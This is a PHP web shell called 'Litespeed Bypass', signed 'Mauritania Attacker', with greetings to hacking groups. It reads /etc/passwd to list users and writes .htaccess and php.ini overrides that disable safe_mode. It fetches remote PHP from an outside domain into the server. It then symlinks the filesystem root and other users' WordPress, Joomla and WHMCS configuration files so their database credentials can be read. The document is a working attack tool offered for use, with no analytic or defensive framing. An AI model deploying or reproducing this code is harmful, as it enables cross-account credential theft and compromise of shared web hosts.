Bypass Litespeed By Mauritania Attacker

<!DOCTYPE HTML PUBLIC><head> <title>Bypass Litespeed</title></head><link rel="SHORTCUT ICON"href="http://www.iconj.com/ico/l/m/lma992dr41.ico">

<center> <font color=#00FF00 size=6 face="impact">Litespeed Bypass Priv8 By Mauritania Attacker</font></center>

<body bgColor="BLACK">

<center>><img src="http://oi45.tinypic.com/14kv8qq.jpg"></center>


<center>
<form method=post><font color=#00FF00 size=3 face="arial black">Get users (etc/passwd) for symlink ^_^</font><p>
	<input type=submit name="usre" value="Extract usernames" /></form></center>


	<?php
	if(isset($_POST['usre'])){
		?><form method=post>
	<textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");
foreach($users as $user)
{
$str=explode(":",$user);
echo $str[0]."\n";
}

?></textarea><br><br>
	<input type=submit name=su value="Bypass Configs" /></form>
	<?php } ?>
	<?php
	error_reporting(0);
	echo "<font color=#00FF00 size=2 face=\"comic sans ms\">";
	if(isset($_POST['su']))
	{
	mkdir('Mauritania',0777);
$rr  = " <Files *.php> \n ForceType application/x-httpd-php4 \n </Files> ";
$g = fopen('Mauritania/.htaccess','w');
fwrite($g,$rr);
$Mauritania = symlink("/","Mauritania/root");
		    $rt="<a href=Mauritania/root><font color=#00FF00 size=3 face=\"comic sans ms\"> Bypassed Successfully ^_^</font></a>";
        echo "Check link given below for / folder symlink <br><u>$rt</u>";


mkdir('Mauritania',0777);
$rr  = " safe_mode = Off ";
$g = fopen('Mauritania/php.ini','w');
fwrite($g,$rr);
$Mauritania = symlink("/","Mauritania/root");


mkdir('Mauritania',0777);
$file = file_get_contents('http://samsungmobileng.com/xs/iniphp.txt');
$g = fopen('Mauritania/ini.php', 'w');
fwrite($g,$file);
fclose($g);
$Mauritania = symlink("/","Mauritania/root");


		fwrite($f,$r);
        $consym="<a href=Mauritania/><font color=#00FF00 size=3 face=\"comic sans ms\">configuration files</font></a>";
       	echo "<br>The link given below is for configs path symlink, you can view Configs inside the Source Code <br><u><font color=#00FF00 size=2 face=\"comic sans ms\">$consym</font></u>";


			$usr=explode("\n",$_POST['user']);
       	$configuration=array("wp-config.shtml","wordpress/wp-config.shtml","configuration.shtml","blog/wp-config.shtml","joomla/configuration.shtml","vb/includes/config.shtml","includes/config.shtml","conf_global.shtml","inc/config.shtml","config.shtml","Settings.shtml","sites/default/settings.shtml","whm/configuration.shtml","whmcs/configuration.shtml","support/configuration.shtml","whmc/WHM/configuration.shtml","whm/WHMCS/configuration.shtml","whm/whmcs/configuration.shtml","support/configuration.shtml","clients/configuration.shtml","client/configuration.shtml","clientes/configuration.shtml","cliente/configuration.shtml","clientsupport/configuration.shtml","billing/configuration.shtml","admin/config.shtml");
		foreach($usr as $uss )
		{
			$us=trim($uss);

			foreach($configuration as $c)
			{
			 $rs="/home/".$us."/public_html/".$c;
			 $r="Mauritania/".$us." .. ".$c;
			 symlink($rs,$r);

		}

			}


		}


	?>

	Greetz : AnonGhost - Mauritania HaCker Team - X-Blackerz INC - Anonymous - ZHC